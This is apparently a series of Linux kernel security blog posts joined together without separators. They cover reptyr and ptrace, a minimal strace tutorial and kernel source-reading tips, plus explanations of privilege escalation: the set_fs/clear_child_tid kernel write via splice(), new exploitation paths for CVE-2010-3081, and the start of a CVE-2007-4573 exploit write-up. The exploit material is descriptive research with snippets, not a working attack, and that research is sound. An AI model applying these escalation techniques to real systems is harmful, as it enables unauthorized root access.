[Edited 2011-08-11] The code is now available. It should be fairly well-commented, and include links to everything you’ll need to get the exploit up and running in a local test environment, if you’re so inclined.

In addition, as I mentioned, this bug was found by a simple KVM fuzzer I wrote. I’m also going to clean that up and release it, but don’t expect it too soon.

I had a great time meeting lots of interesting people at BlackHat and DEFCON, some that I’d met online and others I hadn’t. If any of you are ever in Boston, drop me a note and we can grab a beer or something.

The main special feature of reptyr is that it actually changes the controlling terminal of the target process. The “controlling terminal” is a concept maintained by UNIX operating systems that is independent of a process’s file descriptors. The controlling terminal governs details like where ^C gets delivered, and how applications are notified of changes in window size.

Processes are grouped into two levels of hierarchical groups: sessions, and process groups. Each group is named by an ID, which is the PID of the initial leader (either “session leader” or “process group leader”). Even if the leader exits, that number is still the ID for the group. Sessions are used for terminal management — Every process in a session has the same controlling terminal, and each terminal belongs to at most one session. Process groups are a sub-division within sessions, and are used primarily for job control within the shell. For a more in-depth explanation, see part 3 of my earlier series on termios.

If you check out tty_ioctl(4), you’ll find that Linux has an ioctl, TIOCSCTTY, that can be used to set the controlling terminal of a process, and you could be forgiven for thinking that all we need is to make the target call that ioctl, and we’re done.

However, if we read closer, we find that it has several restrictions. In particular:

The calling process must be a session leader and not have a controlling terminal already. If this terminal is already the controlling terminal of a different session group then the ioctl fails with EPERM […]

In the typical case, where I’m trying to attach a (say) mutt that you spawned from your shell, mutt won’t be a session leader — your shell will be the session leader, and mutt will be the process group leader for a process group containing only itself.

So, we need to make the target a session leader. Conveniently, there’s a system call for that: setsid(2).

However, reading that man page, we find a new caveat: setsid(2) fails with EPERM if

The process group ID of any process equals the PID of the calling process. Thus, in particular, setsid() fails if the calling process is already a process group leader.

The shell creates a new process group for every job you launch, and so our target mutt will be a process group leader, and unable to setsid(). The usual solution for programs that want to setsid is to fork(), so that the child is still in the parent’s session and process group, and then setsid() in the child. However, fork()ing our mutt and killing off the parent seems potentially disruptive, so let’s see if we can avoid that.

So, we’re going to need to change mutt‘s process group ID, so that there are no processes with process group IDs equal to its PID. Following some trusty SEE ALSO links, we get to setpgid(2). There’s a bunch of text in that man page, but the key bit is:

If setpgid() is used to move a process from one process group to another, both process groups must be part of the same session (see setsid(2) and credentials(7)). In this case, the pgid specifies an existing process group to be joined and the session ID of that group must match the session ID of the joining process.

We need to find a process group in the same session as mutt to move our mutt into, and then we’ll be able to setsid. We could try to find one — the shell is a plausible candidate, for instance — but there’s an alternate, more direct route: Create one.

While we have mutt captured with ptrace, we can make it fork(2) a dummy child, and start tracing that child, too. We’ll make the child setpgid to make it into its own process group, and then get mutt to setpgid itself into the child’s process group. mutt can then setsid, moving into a new session, and now, as a session leader, we can finally ioctl(TIOCSCTTY) on the new terminal, and we win.

It turns out I didn’t invent this technique — injcode and neercs work the same way. But I did discover it independently of them, and it was a fun little hunt through unix arcana.

You can grab the source, or read on for some more details.

There’s a shell script called screenify that’s been going around the internet for nigh on 10 years now that is supposed to use gdb to accomplish the same thing. There’s also a project called retty that tries to do the same thing, in C using ptrace() directly.

The difference between those programs and reptyr is that reptyr works much, much, better.

If you attach a less using screenify or retty, it will still take input from the old terminal. If you attach an ncurses program, and resize the window, the program probably won’t resize correctly. ^C and ^Z will still be processed on the old terminal — typing them in the new terminal won’t do anything useful.

reptyr fixes all of these problems and more, and is the only such tool I know of that does so. I’ve never seen a program that doesn’t behave noticeably incorrectly after attaching with retty or screenify, whereas with reptyr most programs I have tried work flawlessly.

How does it work?

reptyr works in the same basic way as screenify and retty — it attaches to the target process using the ptrace API, opens the new terminal, and dup2s it over the old file descriptors. It also copies the termios settings from the old terminal to the new terminal.

The main thing that reptyr does that no one else does is that it actually changes the controlling terminal of the process you are attaching. This is the detail that makes many things Just Work, including ^C and ^Z and window resizing.

Switching the target’s controlling terminal is not easy and involves a fair bit of trickery with ptrace and Linux’s terminal APIs. I will probably do another blog post some time about the dirty details of how I make this work, but for now you can check out attach.c if you really want to know.

reptyr still has a number of limitations — it doesn’t generally work, for example, if the target process has any children. I know how to fix most of these problems, though, so expect it to get better with time. Please let me know if you find it useful!

Appendix

(Edited to add:) Nothing is really new. A commenter on reddit pointed out that injcode and neercs both accomplish the same thing, even using the same trick to change the CTTY. Ah well, I had run writing it anyways, and apparently I wasn’t the only one who didn’t know about the existing alternatives. neercs is a full screen replacement, though, and I think that reptyr should be more robust than injcode — I use a different techique for ptrace-hijacking, for example — and so hopefully this tool still has a niche as a more robust standalone utility. Certainly, judging from the amount of enthusiasm I’ve seen for this tool, this still isn’t a problem that is solved to the average user’s satisfaction.

access_ok

When a user application passes a pointer to the kernel, and the kernel wants to read or write from that pointer, the kernel needs to perform various checks that a buggy or malicious userspace app hasn’t passed an “evil” pointer.

Because the kernel and userspace run in the same address space, the most important check is simply that the pointer points into the “userspace” part of the address space. User applications are protected by page table permissions from writing into kernel memory, but the kernel isn’t, and so must explicitly check that any pointers given to it by a user don’t point into the kernel region.

The address space is laid out such that user applications get the bottom portion, and the kernel gets the top, so this check is a simple comparison against that boundary. The kernel function that performs this check is called access_ok, although there are various other functions that do the same check, implicitly or otherwise.

get_fs() and set_fs()

Occasionally, however, the kernel finds it useful to change the rules for what access_ok will allow. set_fs()¹ is an internal Linux function that is used to override the definition of the user/kernel split, for the current process.

After a set_fs(KERNEL_DS), no checking is performed that user pointers point to userspace — access_ok will always return true. set_fs(KERNEL_DS) is mainly used to enable the kernel to wrap functions that expect user pointers, by passing them pointers into the kernel address space. A typical use reads something like this:

old_fs = get_fs(); set_fs(KERNEL_DS);
vfs_readv(file, kernel_buffer, len, &pos);
set_fs(old_fs);

vfs_readv expects a user-provided pointer, so without the set_fs(), the access_ok() inside vfs_readv() would fail on our kernel buffer, so we use set_fs() to effectively temporarily disable that checking.

Kernel oopses

When the kernel oopses, perhaps because of a NULL pointer dereference in kernelspace, or because of a call to the BUG() macro to indicate an assertion failure, the kernel attempts to clean up, and then tries to kill the current process by calling the do_exit() function to exit the current process.

When the kernel does so, it’s still running in the same process context it was before the oops occured, including any set_fs() override, if applicable. Which means that do_exit will get called with access_ok disabled — not something anyone expected when they wrote the individual pieces of this system.

clear_child_tid

As it turns out, do_exit contains a write to a user-controlled address that expects access_ok to be working properly!

clear_child_tid is a feature where, on thread exit, the kernel can be made to write a zero into a specified address in that thread’s address space, in order to notify other threads of that exit.

This is implemented by simply storing a pointer to the to-be-zeroed address inside struct task_struct (which represents a single thread or process), and, on exit, mm_release, called from do_exit, does:

put_user(0, tsk->clear_child_tid);

This is normally safe, because put_user checks that its second argument falls into the “userspace” segment before doing a write. But, if we are running with get_fs() == KERNEL_DS, it will happily accept any address at all, even one pointing into kernel space.

So, if we find any kernel BUG() or NULL dereference, or other page fault, that we can trigger after a set_fs(KERNEL_DS), we can trick the kernel into a user-controlled write into kernel memory!

splice() et. al.

An obvious question at this point is: How much of the kernel can an attacker cause to run with get_fs() == KERNEL_DS?

There are a number of small special cases. For example, the binary sysctl compatibility code works by calling the normal /proc/ write handlers from kernelspace, under set_fs(). handful of compat-mode (32 on 64) syscalls work similarly.

By far the biggest source I’ve found, however, is the splice() system call. The splice() system call is a relatively recent addition to Linux, and allows for zero-copy transfer of pages between a pipe and another file descriptor.

As of 2.6.31, attempts to splice() to or from an fd that doesn’t support special handling to actually do zero-copy splice, will fall back on doing an ordinary read(), write(), or sendmsg() on the fd … from the kernel, using set_fs() in order to pass in kernel buffers.

What that means it that by using splice(), an attacker can call the bulk of the code in most obscure filesystems and socket types (which tend not to have explicit splice() support) with a segment override in place. Conveniently for an attacker, that is also exactly a description of where the bulk of the random security bugs tend to be.

This is also exactly the technique Dan’s exploit uses. He uses CVE-2010-3849, an otherwise boring NULL pointer dereference I reported in the Econet network protocol. His exploit code does a splice() to an econet socket, causing the econet_sendsmg handler to get called under set_fs(KERNEL_DS). When it oopses, do_exit is called, and he gets a user-controlled write into kernel memory. Everything else is just details.

While investigating CVE-2010-3081, I discovered that several of the commonly-believed facts about the CVE were wrong, and it was even more broadly exploitable than was publically documented. I’d like to share those observations here.

A brief review of the bug

The bug arose from the compat_alloc_user_space function in Linux’s 32-bit compatibility support on 64-bit systems. compat_alloc_user_space allocates and returns space on the userspace kernel stack for the kernel to use:

static inline void __user *compat_alloc_user_space(long len)
{
    struct pt_regs *regs = task_pt_regs(current);
    return (void __user *)regs->sp - len;
}

This function is only called by compat-mode syscalls, so current is assumed to be a 32-bit process, in which case regs->sp, the user stack pointer, will be a 32-bit quantity. This, if we subtract a small len, the result should still fit in 32 bits, which, on a 64-bit system means it is guaranteed to fall within the user address space.

Because of this, some callers of compat_alloc_user_space were lazy, and did not call access_ok (or a function which called access_ok) to check that the result of compat_alloc_user_space fell within the user address space.

However, it turned out that some call sites in the kernel called compat_alloc_user_space with a user-controlled len value, allowing the subtraction to wrap around. On a 64-bit system, the kernel lives in the top four gigabytes of memory, and so this wraparound is enough for a user to cause compat_alloc_user_space to return a pointer into the kernel’s address space.

Moreover, it turned out that the functions that used a user-controlled len also did not check access_ok on the result of the allocation. In particular, Linux 2.6.26 introduced the compat_mc_getsockopt function, which called compat_alloc_user_space with a user-controlled length and then copied user-controlled data to this pointer. It is this function which the public exploit targetted.

Disabling 32-bit binaries doesn’t help

When an exploit was released for this bug, many sources circulated a mitigation: Disable 32-bit binaries on a system. Prevent compat-mode processes from running, the logic goes, and you prevent anyone from making a compat-mode syscall that triggers the vulnerable path.

This mitigation indeed prevented the public exploit from working (it included 32-bit inline assembly, and so couldn’t even easily be recompiled as a 64-bit binary), and many observers seemed to believe it closed the bug entirely.

However, this was not the case! It turns out, on an amd64 system, a 64-bit process can still make a compat-mode system call using the int $0x80 instruction, which is the traditional 32-bit syscall mechanism! Even though the process is running in 64-bit mode, int $0x80 redirects to the compat-mode syscall table.

After realizing this, modifying the public exploit to work when compiled in 64-bit mode was a simple matter of porting the inline assembly, and changing a small handful of types. I’ve posted the modified exploit and the diff against the original for the curious.

The integer overflow is totally irrelevant

Once you’ve realized that you can make compat-mode system calls from a 64-bit process, a little bit of thought reveals something else interesting. compat_alloc_user_space subtracts the len value off of the userspace stack pointer. Previously, we relied on subtracting a large value from a 32-bit stack pointer in order to end up with a kernel pointer. However, while a 32-bit is limited to a 32-bit stack pointer, a 64-bit process can write a full 64-bit value into %rsp, and thus regs->sp! There’s no need for underflow at all — you can just write a 64-bit value into %rsp and do an int $0x80, and make compat_alloc_user_space return any value you please!

The condition for exploitability thus drops from “user-controlled len and no access_ok” to simply “no access_ok“.

This is interesting, because it turns out that some very old kernels, before 2.6.11, including RHEL 4, have the following function:

int siocdevprivate_ioctl(unsigned int fd, unsigned int cmd, unsigned long arg)
{
        struct ifreq __user *u_ifreq64;

        ...
        u_ifreq64 = compat_alloc_user_space(sizeof(*u_ifreq64));

        /* Don't check these user accesses, just let that get trapped
         * in the ioctl handler instead.
         */
        copy_to_user(&u_ifreq64->ifr_ifrn.ifrn_name[0], &tmp_buf[0], IFNAMSIZ);
        __put_user(data64, &u_ifreq64->ifr_ifru.ifru_data);

        return sys_ioctl(fd, cmd, (unsigned long) u_ifreq64);
}

Remember, we can make compat_alloc_user_space return an arbitrary value. The copy_to_user will call access_ok and fail, but that return value will be discarded, and the __put_user will scribble 32 bits of user-controlled data at a user-controlled address. Bingo, local root.

It turns out this function was present in Linux 2.4.x, too, meaning that this exploit even affected RHEL3 and anyone else still running a 2.4-based system!

Based on this exploit, I’ve produced a working proof-of-concept exploit for RHEL4, based on the released exploit for RHEL5. Contact me if you’re interested, but it’s pretty straightforward.

Closing notes

As far as I know, neither of these facts has been publically documented prior to this post. I shared this information with Red Hat, and they requested I keep it private until they released fixes for RHEL 3, which happened last week. I would not be at all surprised to learn that someone else has private exploits that incorporate either or both of these observations, though.

One important moral here is you must be very careful when declaring a system unaffected by a vulnerability, or declaring a mitigation to be complete. Software systems have gotten tremendously complex, and it’s often impossible to be totally confident you understand every last way an attacker could tickle a vulnerability.

So, here’s a summary of the ones I picked out. There are also a large number of smaller ones, like an AF_CAN exploit, or the l2cap overflow in the Bluetooth subsystem, that didn’t get as much publicity, because they were found more quickly or didn’t affect as many default configurations.

I’ll probably have some more to say about these bugs in the future, but here’s a few thoughts:

• At least two of these bugs existed since the 2.4 days. So no matter what kernel you’ve been running, you had privilege escalation bugs you didn’t know about for as long as you were running that kernel. We don’t know whether or not the blackhats knew about them, but are you feeling lucky?
• I bet there are at least a few more privesc bugs dating back to 2.4 we haven’t found yet.
• If you run a Linux machine with untrusted local users, or with services that are at risk of being compromised (e.g. your favorite shitty PHP webapp), you’d better have a story for how you’re dealing with these bugs. Including the fact that some of these were privately known for years before they were announced.
• It’s not clear from this sample that the kernel is getting more secure over time. I suspect we’re getting better at finding bugs, particularly now that companies like Google are paying researchers to audit the kernel, but it’s not obvious we’re getting better at not introducing them in the first place. Certainly CVE-2010-3301 is pretty embarrassing, being a reintroduction of a bug that had been fixed seven months previously.

We all love strace, but have you ever wondered how it works? How does it interject itself between the kernel and the userspace program? This post will walk through a minimal implementation of strace in about 70 lines of C. It won’t be nearly as functional as the real thing, but in the process you’ll learn most of what you need to know about the core interfaces it uses.

On Linux (and probably some other UNIXes) strace uses a somewhat arcane interface known as ptrace, the process-tracing interface. ptrace allows one proccess to monitor the status of another process, and to inspect (or even manipulate) its internal state.

ptrace is a complex system call, taking a magic “request” first parameter, and doing completely different things depending on its value. Its general prototype looks like:

long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

However, because different values of request use anywhere from zero to three of the remaining parameters, glibc prototypes it as a varargs function, allowing a a developer to only list as many parameters as a given call needs.

In order for one process to trace another, it attaches to that process, and temporarily becomes that process’s parent. When a process is ptraced, the tracer can ask for the child to stop whenever various events happen, such as the child making a system call. When this happens, the kernel will stop the child with SIGTRAP. Since the tracer is now the child’s parent, it can thus watch for this using the standard UNIX waitpid system call.

Our miniature strace will only support the strace COMMAND form of strace (as opposed to strace -p), and we’ll only print syscall numbers and return values — no decoding of names or arguments or anything. So a sample run might look like:

$ ./ministrace ls
…
syscall(6) = 0
syscall(54) = 0
syscall(54) = 0
syscall(5) = 3
syscall(221) = 1
syscall(220) = 272
syscall(220) = 0
syscall(6) = 0
syscall(197) = 0
syscall(192) = -1219706880
…

Not the most useful thing in the world, but it shows off the core tracing tools. So, let’s see the code:

#include <sys/ptrace.h>
#include <sys/reg.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>

We start with the necessary headers. sys/ptrace.h defines ptrace and the __ptrace_request constants, and we’ll need sys/reg.h to help decode system calls. More about that later. Everything else you should probably recognize.

int do_child(int argc, char **argv);
int do_trace(pid_t child);

int main(int argc, char **argv) {
    if (argc < 2) {
        fprintf(stderr, "Usage: %s prog args\n", argv[0]);
        exit(1);
    }

    pid_t child = fork();
    if (child == 0) {
        return do_child(argc-1, argv+1);
    } else {
        return do_trace(child);
    }
}

We’ll start with the entry point. We check that we were passed a command, and then we fork() to create two processes — one to execute the program to be traced, and the other to trace it.

int do_child(int argc, char **argv) {
    char *args [argc+1];
    memcpy(args, argv, argc * sizeof(char*));
    args[argc] = NULL;

The child starts with some trivial marshalling of arguments, since execvp wants a NULL-terminated argument array.

    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    return execvp(args[0], args);
}

Next, we just execute the provided argument list, but first, we need to start the tracing process, so that the parent can start tracing the newly-executed program from the very start.

If a child knows that it wants to be traced, it can make the PTRACE_TRACEME ptrace request, which starts tracing. In addition, it means that the next signal sent to this process wil stop it and notify the parent (via wait), so that the parent knows to start tracing. So, after doing a TRACEME, we SIGSTOP ourselves, so that the parent can continue our execution with the exec call.

(You might have noticed that strace COMMAND output always starts with an execve call. Now you should understand why — we’re actually going to start tracing immediately after the kill returns, so we see the execve call that starts the new program).

int wait_for_syscall(pid_t child);

int do_trace(pid_t child) {
    int status, syscall, retval;
    waitpid(child, &status, 0);

In the parent, meanwhile, we prototype a function we’ll need later, and start tracing. We immediately waitpid on the child, which will return once the child has sent itself the SIGSTOP above, and is ready to be traced.

    ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACESYSGOOD);

I mentioned earliar that ptrace turns basically all events into a SIGTRAP on the child. This is inconvenient because it means that when you see the child has stopped due to SIGTRAP, there’s no good way to know which of several possible reasons it stopped for.

PTRACE_SETOPTIONS lets us set a number of options for how we want to trace the child. We use it here to set PTRACE_O_TRACESYSGOOD, which means that when the child stops for a syscall-related reason, we’ll actually see it stopped with signal number SIGTRAP | 0x80, so we can easily distinguish syscall stops from other stops. Since (for the purposes of this demo), we only care about syscalls, this is very convenient.

    while(1) {
        if (wait_for_syscall(child) != 0) break;

Now we enter the tracing loop. wait_for_syscall, defined below, will run the child until either entry to or exit from a system call. If it returns non-zero, the child has exited and we end the loop.

        syscall = ptrace(PTRACE_PEEKUSER, child, sizeof(long)*ORIG_EAX);
        fprintf(stderr, "syscall(%d) = ", syscall);

Otherwise, though, we know that the child is entering a system call, and so we need to decode the system call number (and potentially arguments, if this were a less toy example). The PTRACE_PEEKUSER ptrace request reads a word of data from the child’s “user area”, which is a logical area that holds all of its registers and other internal non-memory state. On i386, the syscall number lives in %eax. For various technical reasons, however, the kernel has already clobbered the child’s %eax at this point, but it saves the original value at a different offset, ORIG_EAX, which comes from `sys/regs.h’.

        if (wait_for_syscall(child) != 0) break;

Once we have the syscall number, we wait_for_syscall again, which should leave us stopped at the syscall return.

        retval = ptrace(PTRACE_PEEKUSER, child, sizeof(long)*EAX);
        fprintf(stderr, "%d\n", retval);

Return values on i386 are also passed in %eax, so this time we can read it directly and print the return value, and then return to the top of the loop to wait for the next syscall.

     }
    return 0;
}

And once the child exits, we just return.

int wait_for_syscall(pid_t child) {
    int status;
    while (1) {
        ptrace(PTRACE_SYSCALL, child, 0, 0);

wait_for_syscall is a simple helper function. We continue the child using PTRACE_SYSCALL, which allows a stopped child to continue executing until the next entry to or exit from a system call.

        waitpid(child, &status, 0);

We then waitpid to wait for something interesting to happen in the child.

        if (WIFSTOPPED(status) && WSTOPSIG(status) & 0x80)
            return 0;

Because of the PTRACE_O_SYSGOOD we set above, we can detect a syscall stop by checking if the child was stopped by a signal with the high bit set. If so, we return.

        if (WIFEXITED(status))
            return 1;
    }
}

If the child exited, we’re done here; Otherwise, it stopped for some reason we don’t care about (like an execve, for instance), and so we loop to start it again until it hits a syscall.

And that’s all there is to it. You can find the version I just posted on github if you want to download and try it out.

Making it more useful

While it works, the previous version isn’t exactly what I’d call particularly helpful. You have to decode the syscall numbers by hand, and you don’t get any syscall arguments.

It’s a little long to include in the post, but I’ve pushed a slightly more functional version to master in the same github repository. It includes a Python script to scan the Linux source to pick up syscall numbers and argument counts and types, and it knows how to decode string arguments, so that you can see filenames and read and write data.

Reading arguments is easy — on i386, they’re passed in registers, so it’s just another PTRACE_GETUSER for each argument. Perhaps the most interesting piece is the read_string function, which is used to read a NULL-terminated string from the child process. (Of course, NULL-terminated isn’t quite right — the real strace knows about the count arguments to read() and write(), for instance. But it’s close enough for a demo):

char *read_string(pid_t child, unsigned long addr) {

read_string takes a child to read from, and the address of the string it’s going to read.

    char *val = malloc(4096);
    int allocated = 4096, read;
    unsigned long tmp;

We need some variables. A buffer to copy the string into, counters of how much data we’ve copied and allocated, and a temporary variable for reading memory.

    while (1) {
        if (read + sizeof tmp > allocated) {
            allocated *= 2;
            val = realloc(val, allocated);
        }

We grow the buffer if necessary. We read data one word at a time.

        tmp = ptrace(PTRACE_PEEKDATA, child, addr + read);
        if(errno != 0) {
            val[read] = 0;
            break;
        }

PTRACE_PEEKDATA returns a work of data from the child at the specified offset. Because it uses its return for the value, we need to check errno to tell if it failed. If it did (perhaps because the child passed an invalid pointer), we just return the string we’ve got so far, making sure to add our own NULL at the end.

        memcpy(val + read, &tmp, sizeof tmp);
        if (memchr(&tmp, 0, sizeof tmp) != NULL)
            break;
        read += sizeof tmp;

Then it’s a simple matter of appending the data we read, and breaking out if we found a terminating NULL, or else looping to read another word.

    }
    return val;
}

Know the layout

It sounds basic, but you probably shouldn’t be doing any serious source-diving into the Linux kernel without pausing to familiarize yourself with the basic layout of the kernel sources. The most interesting directories are:

• fs/ — This directory contains both the VFS implementation (the generic filesystem code and the top-level implementation of filesystem syscalls), and specific filesystems, in subdirectories. If you’re looking for the implementation of a filesystem-related system call, it’s probably in one of fs/*.c.

• mm/ — This contains the virtual memory and memory management subsystems. mmap lives here, as do all of the kernel’s various memory allocators, including kmalloc and vmalloc.

• kernel/ — This contains the “core” kernel code. The scheduler lives here, as does the implementation of various primitives used throughout the kernel, like printk and various data structures. timer- and process- related system calls live here, including fork and exit, and most anything related to uids and pids.

• net/ is the networking subsystem; much like fs/ it contains both generic code and specific network protocol implementations. networking-related system calls are mostly in net/socket.c

• arch/ — Architecture-specific code lives here, in arch/ARCHITECTURE/. Per-architecture include files live in arch/ARCHITECTURE/include/asm/; Prior to 2.6.28 they were in include/asm-ARCH/. arch/ directories tend to loosely parallel the top-level source directory, with kernel/ and mm/ subdirectories.

Know your git

I find git is one of the most invaluable tools at my disposal when trying to understand the Linux source. There are large classes of questions about the source that git makes it easy to answer that I otherwise would have to resort to something much slower or more cumbersome to figure out. Some things I’ve found particularly useful include:

• git grep — git grep works almost identically to grep, but instead of searching the files on disk, it searches the objects in git’s object store. Because of the way this store is compressed and designed for locality, it’s typically far faster at searching large trees than the equivalent recursive grep would be. In addition, it knows to ignore files that aren’t in source control, such as object files.

• git blame — This one should be familiar to anyone who’s used subversion or most any other version control system. This will let you quickly find the commit that introduced a given line. This gives you several potential sources of information:

  • The commit message often includes helpful documentation on how a change was supposed to work or what the bug it was fixing was.
  • The diff is often a quick way to find other files that are related to the piece of code you’re looking at, potentially giving you other places to look for more related code.

• git log -S — while git blame can tell you when a specific line was introduced, git log -S, also known for some inscrutable reason as the “pickaxe”, will let you know when a specific chunk of code was introduced. Here’s how it works:

  Suppose I wanted to know when the vmsplice system call was introduced. A git grep will reveal the line in fs/splice.c that defines the system call:

  SYSCALL_DEFINE4(vmsplice, int, fd, const struct iovec __user *, iov,
                  unsigned long, nr_segs, unsigned int, flags)
  

  I could run git blame, but that points me at commit 836f92ad, which was just one of the commits that introduced the SYSCALL_DEFINEn wrappers, which isn’t what I’m looking for. I could continue git blameing from there, but that’s really not what I want.

  Instead, I can run:

  git log -Svmsplice fs/splice.c
  

  which yields two commits, the earliest of which is the one I want.

  So, how does this work? When you use the pickaxe, with -Sstring, git looks for commits that add or remove an instance of string. It doesn’t look at the diff or anything — it simply counts how often string appears before and after the commit, and includes commits where the numbers are different.

  So, 836f92ad, which has the hunk:

  -asmlinkage long sys_vmsplice(int fd, const struct iovec __user *iov,
  -                            unsigned long nr_segs, unsigned int flags)
  +SYSCALL_DEFINE4(vmsplice, int, fd, const struct iovec __user *, iov,
  +               unsigned long, nr_segs, unsigned int, flags)
  

  doesn’t change the count of vmsplice instances, and isn’t flagged by the pickaxe. But the commit that introduced sys_vmsplice in the first place had to have, and so the pickaxe flags it.

Know your idioms

One of the advantages of the centrally-controlled model of Linux, where almost all changes, at least to the core code, are code-reviewed extensively on the LKML, is that the code tends to have a very high standard of stylistic and idiomatic consistency. So once you learn some of the common idioms of kernel development, you can recognize them everywhere, and infer information about the structure of a piece of code without having to go read all of the details.

A corollary that I’ve found here is: Trust your instincts. If you think you recognize a pattern in the code, or if there is some way in which it seems like the code “ought to be working”, you’re usually well served by assuming that your hunch is right and proceeding based off of that, and coming back later to check your assumptions if necessary, instead of stopping at every stop to verify your guesses. Because the code is, in general, of very high quality and consistency, once you start developing familiarity with it, your guesses will be right far more often than not.

I won’t attempt to list an exhaustive list of design patterns and idioms in the Linux kernel, but here are some it’s pretty essential to be familiar with:

• The _ops struct — Linux uses an OO-esque style ubiquitously in the kernel, where structs of function pointers (basically a poor-man’s vtable, to you C++ programmers), are passed around and stored to indicate how to work with some object. These structs are known as “ops” structures, and typically have types name FOO_operations, and live in variables named SOMETHING_ops – struct super_operations, struct inode_operations, struct file_operations, and so on.

• struct list_head, defined in include/linux/types.h, with operations in include/linux/list.h is used basically anywhere the kernel needs to store linked lists. To save on space and reduce fragmentation, the kernel uses a trick where struct list_heads are stored inside the structures that are the element of a list, and pointer arithmetic is used to compute the one from the other. Familiarize yourself with list.h, since it’s a rare piece of code that won’t use at least some of its functionality.

• container_of and related idioms. The trick I mentioned previously, of storing a list_head inside a structure and using pointer arithmetic, is generalized in many places, through the container_of macro.

  Let’s consider the problem of implementing a filesystem, say, ext2. Linux’s VFS layer has a generic inode structure, that store filesystem-independent information about inodes. ext2, however, has some additional information it needs to store on each in-memory inode. A standard userspace approach would be for struct inode to contain a void *userdata pointer, and ext2 could allocate a struct ext2_inode_info, and point userdata at that.

  This means that creating an inode needs two allocations, however, which is inefficient and causes fragmentation in the memory allocator, which is unacceptable in the kernel.

  Instead, ext2 embeds the struct inode inside struct ext_inode_info:

  /*
   * second extended file system inode data in memory
   */
  struct ext2_inode_info {
          __le32  i_data[15];
          …
          struct inode    vfs_inode;
          …
  };
  

  (See fs/ext2/ext2.h for the full definition)

  Then, whenever ext2 gets a callback from the VFS with a struct inode, it can retrieve the ext2_inode_info using:

  static inline struct ext2_inode_info *EXT2_I(struct inode *inode)
  {
          return container_of(inode, struct ext2_inode_info, vfs_inode);
  }
  

  This uses the container_of macro, which in this case is used to find the object of type ext2_inode_info which contains the object inode in the member named vfs_inode. The implementation of this macro is somewhat hairy and relies on GCC extensions when available, but you should be able to see that in the end it will compile down to a simple subtraction — about as efficient as you could hope for.

Know your references

While sourcediving is the ultimate way to answer any question about the kernel, and is lots of fun to boot, don’t forget about the possibility of documentation answering your question, or at least pointing you in the right direction. Some places that are essential to look include:

• Understanding the Linux Kernel — This book is an incredibly detailed walkthrough of the inner implementation of virtually every feature and subsystem in the kernel, as of version 2.6.11. It’s starting to show its age in some places, but it’s still largely quite accurate, and is an essential guide to anyone who’s serious about, well, understanding the Linux kernel.

• LWN — LWN (Linux Weekly News) is an excellent publication, and anyone who hacks on Linux or cares about its development is well-advised to subscribe. Rarely does a new feature go into Linux without an incredibly detailed writeup on LWN, including the history of the feature, details of its development, and a low-level explanation of how it works and its APIs.

  Even without a subscription, old articles are all freely available, and you’re well-advised to search LWN’s kernel index for anything applicable to your problem.

• The LKML — The Linux Kernel Mailing List is where almost all the action happens in the Linux development community. Few features go in without being hotly debated on this mailing list, and discussions often lend useful insight into the design and implementation of the feature in question.

  Because patches tend to be submitted to the LKML by email, a good first step to trying to find discusion on a specific patch is just to plug its subject (the first line of the commit message) into Google or your favorite LKML archive’s search engine.

Well, this has been quite the braindump. I hope this turns out to be useful to someone, and please comment if you have other advice or resources you recommend for getting into the Linux source code.

In this post, I’ll write up my exploit for CVE-2007-4573, and try to give enough background for someone with some experience with C, Linux, and a bit of x86 assembly to understand what’s going on. If you’re an experienced kernel hacker, you probably won’t find much new here, but if you’re not, hopefully you’ll get a sense for some of the pieces that go into a kernel exploit.

The patch

I’ll start out with the patch, or rather a slightly simplified version, that omits some hunks that will be irrelevant for my discussion. Then I’ll explain the context for the patch, and by that point we’ll have enough context to understand the exploit code.

A simplified version of the patch follows (The original is 176df245 in linus’s git repository) Note that this patch was applied to v2.6.22 – These files have moved around, so pull out an older kernel if you’re trying to follow along at home:

--- a/arch/x86_64/ia32/ia32entry.S
+++ b/arch/x86_64/ia32/ia32entry.S
@@ -38,6 +38,18 @@
        movq    %rax,R8(%rsp)
        .endm

+       .macro LOAD_ARGS32 offset
+       movl \offset(%rsp),%r11d
+       movl \offset+8(%rsp),%r10d
+       movl \offset+16(%rsp),%r9d
+       movl \offset+24(%rsp),%r8d
+       movl \offset+40(%rsp),%ecx
+       movl \offset+48(%rsp),%edx
+       movl \offset+56(%rsp),%esi
+       movl \offset+64(%rsp),%edi
+       movl \offset+72(%rsp),%eax
+       .endm
@@ -334,7 +346,7 @@ ia32_tracesys:
        movq $-ENOSYS,RAX(%rsp) /* really needed? */
        movq %rsp,%rdi        /* &pt_regs -> arg1 */
        call syscall_trace_enter
-       LOAD_ARGS ARGOFFSET  /* reload args from stack in case ptrace changed it */
+       LOAD_ARGS32 ARGOFFSET  /* reload args from stack in case ptrace changed it */
        RESTORE_REST
        jmp ia32_do_syscall
 END(ia32_syscall)

The patch defines the IA32_LOAD_ARGS macro, and replaces LOAD_ARGS with it in several places (I’ve only shown one for simplicity). LOAD_ARGS32 differs only slightly from the LOAD_ARGS macro that it is replacing, which is defined in include/asm-x86_64/calling.h:

.macro LOAD_ARGS offset
movq \offset(%rsp),%r11
movq \offset+8(%rsp),%r10
movq \offset+16(%rsp),%r9
movq \offset+24(%rsp),%r8
movq \offset+40(%rsp),%rcx
movq \offset+48(%rsp),%rdx
movq \offset+56(%rsp),%rsi
movq \offset+64(%rsp),%rdi
movq \offset+72(%rsp),%rax
.endm

As the name suggests, LOAD_ARGS32 loads the registers from the stack as 32-bit values, rather than 64-bit. Importantly, in doing so it takes advantage of a quirk in the x86_64 architecture, that causes the top 32 bits of the registers to be zeroed if you write to the 32-bit versions. LOAD_ARGS32 thus zero-extends the 32-bit values it loads into the 64-bit registers.

System call handling

So, why is this patch so important? Let’s look at the context for the LOAD_ARGS → LOAD_ARGS32 change. ia32entry.S contains the definitions for entry-points for 32-bit compatibility-mode system calls on an x86_64 processor. In other words, for 32-bit processes running on the 64-bit machine, or for 64-bit processes that use old-style int $0x80 system calls for whatever reason.

